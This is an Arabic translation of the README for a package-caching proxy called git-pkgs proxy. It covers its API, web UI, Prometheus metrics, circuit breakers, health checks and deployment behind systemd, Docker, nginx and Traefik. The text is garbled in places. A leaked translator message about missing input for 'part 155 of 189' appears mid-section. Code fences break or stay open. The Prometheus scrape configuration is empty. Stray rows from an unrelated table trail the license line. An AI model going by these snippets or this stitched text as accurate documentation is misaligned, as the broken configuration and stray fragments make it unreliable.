#### البحث الجماعي عن الحزم```bash
curl -X POST http://localhost:8080/api/bulk \
-H "Content-Type: application/json" \
-d '{
"purls": [
"pkg:npm/[email protected]",
"pkg:pypi/[email protected]"
]
}'
لا يوجد محتوى نصي مقدم للترجمة. يرجى تقديم محتوى Markdown الفعلي للجزء 155 من 189.```json { "packages": { "pkg:npm/lodash": { "ecosystem": "npm", "name": "lodash", "latest_version": "4.17.21", "license": "MIT", "license_category": "permissive" }, "pkg:pypi/requests": { "ecosystem": "pypi", "name": "requests", "latest_version": "2.31.0", "license": "Apache-2.0", "license_category": "permissive" } } }
### استجابة الإحصائيات (نقطة نهاية HTTP)```json
{
"cached_artifacts": 142,
"total_size_bytes": 523456789,
"total_size": "499.2 MB",
"storage_url": "file:///path/to/cache/artifacts",
"database_path": "./cache/proxy.db"
}
## واجهة الويب
يقدّم الوكيل واجهة مستخدم ويب تحت `/ui`. لا حاجة إلى بناء واجهة أمامية منفصلة -- فالقوالب والأصول مضمّنة في الملف التنفيذي. يعيد `GET /` التوجيه إلى `/ui/`. تُثبَّت الواجهة تحت بادئتها الخاصة حتى يتمكن الوكيل العكسي من تطبيق قواعد وصول مختلفة عليها عن نقاط نهاية الحزم (على سبيل المثال، اشتراط المصادقة على `PathPrefix(/ui)` مع إبقاء `/npm` و`/pypi` وغيرها مفتوحة لأجهزة البناء).
- **لوحة المعلومات** (`/ui/`) -- إحصاءات الذاكرة المؤقتة، والحزم الشائعة، والقطع المخزّنة مؤخرًا، ونظرة عامة على الثغرات.
- **دليل التثبيت** (`/ui/install`) -- تعليمات التهيئة لكل نظام بيئي، حتى لا تضطر إلى البحث عنها هنا.
- **متصفح الحزم** (`/ui/packages`) -- تصفّح جميع الحزم المخزّنة مؤقتًا مع التصفية حسب النظام البيئي والترتيب حسب مرات الاستخدام أو الحجم أو الاسم أو عدد الثغرات.
- **البحث** (`/ui/search?q=...`) -- ابحث في الحزم المخزّنة مؤقتًا بالاسم.
- **تفاصيل الحزمة** (`/ui/package/{ecosystem}/{name}`) -- البيانات الوصفية والترخيص والثغرات وقائمة الإصدارات لحزمة ما. يمكنك اختيار إصدارين للمقارنة.
- **تفاصيل الإصدار** (`/ui/package/{ecosystem}/{name}/{version}`) -- البيانات الوصفية لكل إصدار، وتجزئة السلامة، وحالة تخزين القطع، وعدد مرات الاستخدام.
- **متصفح المصدر** (`/ui/package/{ecosystem}/{name}/{version}/browse`) -- تصفّح الملفات داخل الأرشيفات المخزّنة مؤقتًا مع تظليل الصيغة للملفات النصية ومعاينات الصور.
- **فرق الإصدارات** (`/ui/package/{ecosystem}/{name}/compare/{v1}...{v2}`) -- فرق جنبًا إلى جنب بين إصدارين مخزّنين مؤقتًا يُظهر الملفات المضافة والمحذوفة والمعدّلة.
## المراقبة
يكشف الوكيل عن مقاييس Prometheus عند `GET /metrics`. جميع أسماء المقاييس مسبوقة بـ `proxy_`.
| المقياس | النوع | التسميات | الوصف |
|--------|------|--------|-------------|
| `proxy_requests_total` | عدّاد | `ecosystem`, `status` | استجابات الوكيل حسب النظام البيئي للحزم وحالة HTTP |
| `proxy_request_duration_seconds` | مدرج تكراري | `ecosystem`, `status` | مدة طلب الوكيل |
| `proxy_cache_hits_total` | عدّاد | `ecosystem` | إصابات الذاكرة المؤقتة |
| `proxy_cache_misses_total` | عدّاد | `ecosystem` | إخفاقات الذاكرة المؤقتة |
| `proxy_cache_size_bytes` | مقياس | | الحجم الإجمالي للقطع المخزّنة مؤقتًا |
| `proxy_cached_artifacts_total` | مقياس | | عدد القطع المخزّنة مؤقتًا |
| `proxy_upstream_fetch_duration_seconds` | مدرج تكراري | `ecosystem` | الوقت المستغرق في الجلب من المصدر الأعلى |
| `proxy_upstream_errors_total` | عدّاد | `ecosystem`, `error_type` | إخفاقات الجلب من المصدر الأعلى |
| `proxy_storage_operation_duration_seconds` | مدرج تكراري | `operation` | زمن استجابة قراءة/كتابة التخزين |
| `proxy_storage_errors_total` | عدّاد | `operation` | إخفاقات قراءة/كتابة التخزين |
| `proxy_active_requests` | مقياس | | الطلبات قيد التنفيذ |
| `proxy_health_probe_failures_total` | عدّاد | `step` | إخفاقات فحص سلامة التخزين حسب الخطوة الفاشلة (`write`, `size`, `read`, `verify`, `delete`). |
| `proxy_circuit_breaker_state` | مقياس | `registry` | حالة قاطع الدائرة لجلب القطع لكل سجل مصدر أعلى (0 مغلق، 2 مفتوح). يُنشر بمجرد أن ينطلق قاطع ذلك السجل. |
| `proxy_circuit_breaker_trips_total` | عدّاد | `registry` | انطلاقات قاطع الدائرة لكل سجل مصدر أعلى. |
يُحدَّث حجم الذاكرة المؤقتة وعدد القطع كل 60 ثانية. تُقرأ حالة قاطع الدائرة من الجالب عند كل عملية سحب من `/metrics` وعند كل طلب `/health`، لذا يحسب `proxy_circuit_breaker_trips_total` الانطلاقات المرئية بين تلك القراءات — فالقاطع الذي ينفتح ويتعافى بالكامل بين عمليتي سحب لا يُحتسب. أما بقية المقاييس فتتحدّث عند كل طلب.
تحمل مقاييس القاطع سلسلة واحدة لكل مضيف مصدر أعلى، ولكن فقط للمضيفين الذين انطلق قاطعهم مرة واحدة على الأقل منذ بدء التشغيل. يُنشأ قاطع لكل مضيف يجلب الوكيل منه القطع، وفي بعض الأنظمة البيئية يأتي ذلك المضيف من البيانات الوصفية للمصدر الأعلى بدلًا من التهيئة (يأخذه composer من `dist.url` الخاص بالحزمة، ويأخذه helm من عناوين URL للمخططات في `index.yaml`)، لذا فإن نشر كل مضيف سيسمح لمحتوى المصدر الأعلى بزيادة عدد السلاسل طوال عمر العملية. وبمجرد أن ينطلق مضيف ما فإنه يستمر في الإبلاغ، لذا يظهر التعافي كتحوّل إلى 0 بدلًا من سلسلة تختفي. و`/health` ليس سلسلة زمنية دائمة ويسرد كل قاطع، منطلقًا كان أو لا.
تسمية `registry` هي مضيف عنوان URL الذي جُلبت منه القطعة. ولأن ذلك العنوان يمكن أن يأتي من البيانات الوصفية للمصدر الأعلى، فإنه ليس دائمًا عنوانًا يمكن استخراج مضيف منه — مثل `dist.url` موقّع يفشل في التحليل — وفي هذه الحالة يُسمّى القاطع `hostless-url-<digest>` بدلًا من ذلك، حيث يُشتق الـ digest من قيمة تُسحب من جديد عند بدء التشغيل. لا يتطلب `/metrics` ولا `/health` مصادقة، لذا لا يُنشر عنوان URL للجلب أبدًا كتسمية أو مفتاح؛ ويُعرّف الـ digest القاطع طالما استمرت العملية دون الكشف عن عنوان URL الذي يقف خلفه أو السماح بمطابقة عنوان URL مختار معه.
نبّه عند استمرار `proxy_circuit_breaker_state == 2` لأكثر من بضع دقائق: فبينما يكون القاطع مفتوحًا، تفشل تنزيلات القطع لذلك المصدر الأعلى بخطأ HTTP 502 عند كل إخفاق في الذاكرة المؤقتة، ولا يصل إلى المصدر الأعلى سوى طلب فحص واحد لكل فترة تراجع. تستمر القطع المخزّنة مؤقتًا في الخدمة، وكذلك البيانات الوصفية للنظام البيئي نفسه (فالبيانات الوصفية لا تمر عبر قاطع الدائرة)، لذا تفشل عمليات التثبيت بطريقة تبدو كعطل جزئي في المصدر الأعلى.
### فحص السلامة
يعيد `/health` تقرير JSON منظّمًا لسلامة الأنظمة الفرعية. HTTP 200 إذا نجحت جميع الفحوصات؛ و503 إذا فشل أي منها.```json
{
"status": "ok",
"checks": {
"database": {"status": "ok"},
"storage": {"status": "ok"}
},
"circuit_breakers": {
"registry.npmjs.org": "closed",
"static.crates.io": "open"
}
}
تتضمن الفحوصات الفاشلة حقل "error". تتضمن إخفاقات التخزين أيضًا حقل "step" الذي يحدد خطوة الفحص التي فشلت (write، size، read، verify، delete). عندما يفشل فحص قاعدة البيانات، يُبلّغ إدخال التخزين عن {"status": "skipped"} بحيث تحمل الاستجابة دائمًا نفس مجموعة المفاتيح.
يُبلّغ circuit_breakers عن حالة قاطع الدائرة لجلب القطع الأثرية لكل نظام أعلى ("open" أو "closed")، مفهرسًا حسب المضيف الأعلى — أو حسب العنصر النائب hostless-url-<digest> الموصوف تحت Monitoring حيث لا يحتوي عنوان URL للجلب على مضيف لقراءته. يُحذف المفتاح حتى يجلب الوكيل قطعة أثرية من نظام أعلى واحد على الأقل، ولا يظهر المضيف إلا بعد إنشاء قاطع له. تنطلق القواطع بعد إخفاقات متكررة من النظام الأعلى وتعيد محاولة النظام الأعلى بعد تراجع أسي. أثناء فتح أحدها، تُرجع تنزيلات القطع الأثرية لذلك المضيف HTTP 502 عند فقدان ذاكرة التخزين المؤقت دون الاتصال بالنظام الأعلى؛ لا تزال القطع الأثرية المخزنة مؤقتًا تُقدَّم من التخزين، لأن ذاكرة التخزين المؤقت تُفحص قبل الجالب. يُبلّغ عن القاطع كـ "open" طوال فترة التراجع الخاصة به، بما في ذلك النافذة نصف المفتوحة التي يسمح فيها بطلب فحص واحد لاختبار الاسترداد. حالة القاطع لكل عملية وفي الذاكرة، لذا يؤدي إعادة التشغيل إلى مسحها، لكن إعادة التشغيل ليست ضرورية للاسترداد: يستمر التراجع في إعادة المحاولة طالما بقي القاطع مفتوحًا، لذا يُغلق من تلقاء نفسه بمجرد أن يخدم النظام الأعلى مرة أخرى.
القاطع المفتوح لا يضبط status على "error" ولا يغيّر رمز حالة HTTP: فهو يُبلّغ عن نظام أعلى محدد يرفض الخدمة، وليس عن كون هذا الوكيل غير صالح لاستقبال حركة المرور، وإفشال فحص الجاهزية بسبب نظام أعلى واحد غير سليم من شأنه إخراج الـ pod من التوزيع لكل نظام بيئي آخر أيضًا. استخدم proxy_circuit_breaker_state للتنبيه بشأنه.
تُخزَّن نتائج فحص التخزين مؤقتًا لمدة health.storage_probe_interval (الافتراضي 30 ثانية) للحد من تكلفة فحص الواجهات الخلفية البعيدة. يحتفظ الفحص بقفل داخلي لمدة تصل إلى 10 ثوانٍ (المهلة الثابتة لكل فحص)، لذا فإن /health مخصص ليكون فحص جاهزية Kubernetes بدلاً من فحص حيوية — يجب أن تؤدي رحلة ذهاب وإياب بطيئة إلى S3 إلى سحب الـ pod من التوزيع، لا إعادة تشغيله.
إعداد الكشط لـ Prometheus:```yaml scrape_configs:
## النشر في بيئة الإنتاج
### خدمة Systemd
أنشئ `/etc/systemd/system/proxy.service`:```ini
[Unit]
Description=git-pkgs proxy
After=network.target
[Service]
Type=simple
User=proxy
ExecStart=/usr/local/bin/proxy -config /etc/proxy/config.yaml
Restart=always
RestartSec=5
[Install]
WantedBy=multi-user.target
تفعيل وبدء:```bash sudo systemctl enable proxy sudo systemctl start proxy
### Docker
يتضمن المستودع ملف Dockerfile. للبناء والتشغيل:```bash
docker build -t proxy .
docker run -p 8080:8080 -v proxy-data:/data proxy
مع Postgres و S3:```bash
docker run -p 8080:8080
-e PROXY_DATABASE_DRIVER=postgres
-e PROXY_DATABASE_URL=postgres://user:pass@db:5432/proxy
-e PROXY_STORAGE_URL=s3://my-bucket?region=us-east-1
-e AWS_ACCESS_KEY_ID=...
-e AWS_SECRET_ACCESS_KEY=...
proxy
### خلف وكيل عكسي
عند التشغيل خلف nginx أو Apache أو أي وكيل عكسي آخر، اضبط `base_url` على عنوان URL العام الخاص بك:```yaml
base_url: "https://proxy.example.com"
إذا تم الوصول إلى واجهة المستخدم عبر اسم مضيف مختلف عن نقاط نهاية الحزم — على سبيل المثال، واجهة المستخدم مكشوفة علنًا على نطاق بينما تتصل أجهزة البناء باسم مستعار لشبكة Docker — فاضبط ui_base_url بشكل منفصل. base_url هو عنوان URL الذي تستخدمه مديرو الحزم وإعادة كتابة البيانات الوصفية؛ أما ui_base_url فهو عنوان URL المُعلن للبشر الذين يزورون واجهة الويب (وسوم canonical/og:url ولافتة دليل التثبيت):```yaml
base_url: "http://pkg-proxy:8080" # internal alias for build machines
ui_base_url: "https://proxy.example.com/ui" # public UI URL
عند عدم التعيين، تكون `ui_base_url` افتراضيًا مساوية لـ `base_url`.
> **تحذير:** يقدّم الوكيل واجهة المستخدم ونقاط نهاية الحزم على نفس المستمع. تغيير `ui_base_url` يغيّر فقط عنوان URL الذي تعلنه واجهة المستخدم للبشر؛ ولا يمنع الوصول إلى نقاط نهاية الحزم على نفس اسم المضيف والمنفذ. عند وضع الوكيل خلف وكيل عكسي عام، قيّد المسار العام بـ `PathPrefix(/ui)` (أو ما يعادله في وكيلك)، وإلا فستبقى `/npm` و`/pypi` وبقية نقاط نهاية الحزم مكشوفة إلى جانب واجهة المستخدم.
مثال nginx، يقيّد المضيف العام على واجهة المستخدم مع إبقاء نقاط نهاية الحزم قابلة للوصول فقط على المستمع الداخلي:```nginx
server {
listen 443 ssl;
server_name proxy.example.com;
location /ui/ {
proxy_pass http://127.0.0.1:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_buffering off;
}
location / {
return 404;
}
}
مثال Traefik باستخدام PathPrefix(/ui) بحيث يطابق الموجّه العام حركة مرور الواجهة فقط:```yaml
labels:
traefik.enable: "true"
traefik.http.services.pkg-proxy.loadbalancer.server.port: "8080"
traefik.http.routers.pkg-proxy.rule: "Host(proxy.example.com) && PathPrefix(/ui)"
traefik.http.routers.pkg-proxy.entrypoints: "websecure"
## إدارة الذاكرة المؤقتة
يقوم الوسيط بتخزين العناصر في دليل التخزين المُهيأ بالبنية التالية:```
cache/artifacts/
├── npm/
│ └── lodash/
│ └── 4.17.21/
│ └── lodash-4.17.21.tgz
├── cargo/
│ └── serde/
│ └── 1.0.193/
│ └── serde-1.0.193.crate
├── oci/
│ └── library/nginx/
│ └── sha256:abc123.../
│ └── sha256:abc123...
├── deb/
│ └── nginx/
│ └── 1.18.0-6/
│ └── nginx_1.18.0-6_amd64.deb
└── rpm/
└── nginx/
└── 1.24.0-1.fc39/
└── nginx-1.24.0-1.fc39.x86_64.rpm
يتم تخزين بيانات تعريف ذاكرة التخزين المؤقت في SQLite (افتراضيًا) أو PostgreSQL. لمسح ذاكرة تخزين مؤقت محلية:```bash rm -rf ./cache/artifacts/* rm ./cache/proxy.db
سيقوم الوكيل بإعادة إنشاء قاعدة البيانات عند التشغيل التالي.
## البناء من المصدر
المتطلبات:
- Go (يُعلن عن إصدار المشروع في `go.mod`)```bash
git clone https://github.com/git-pkgs/proxy.git
cd proxy
go build -o proxy ./cmd/proxy
تشغيل الاختبارات:```bash go test ./...
## الترخيص
GPL-3.0-or-later
| ✗ |
| Chef | Chef | ✗ |
| Generic | Any | ✓ |
| Helm | Kubernetes | ✓ |
| Vagrant | Vagrant | ✗ |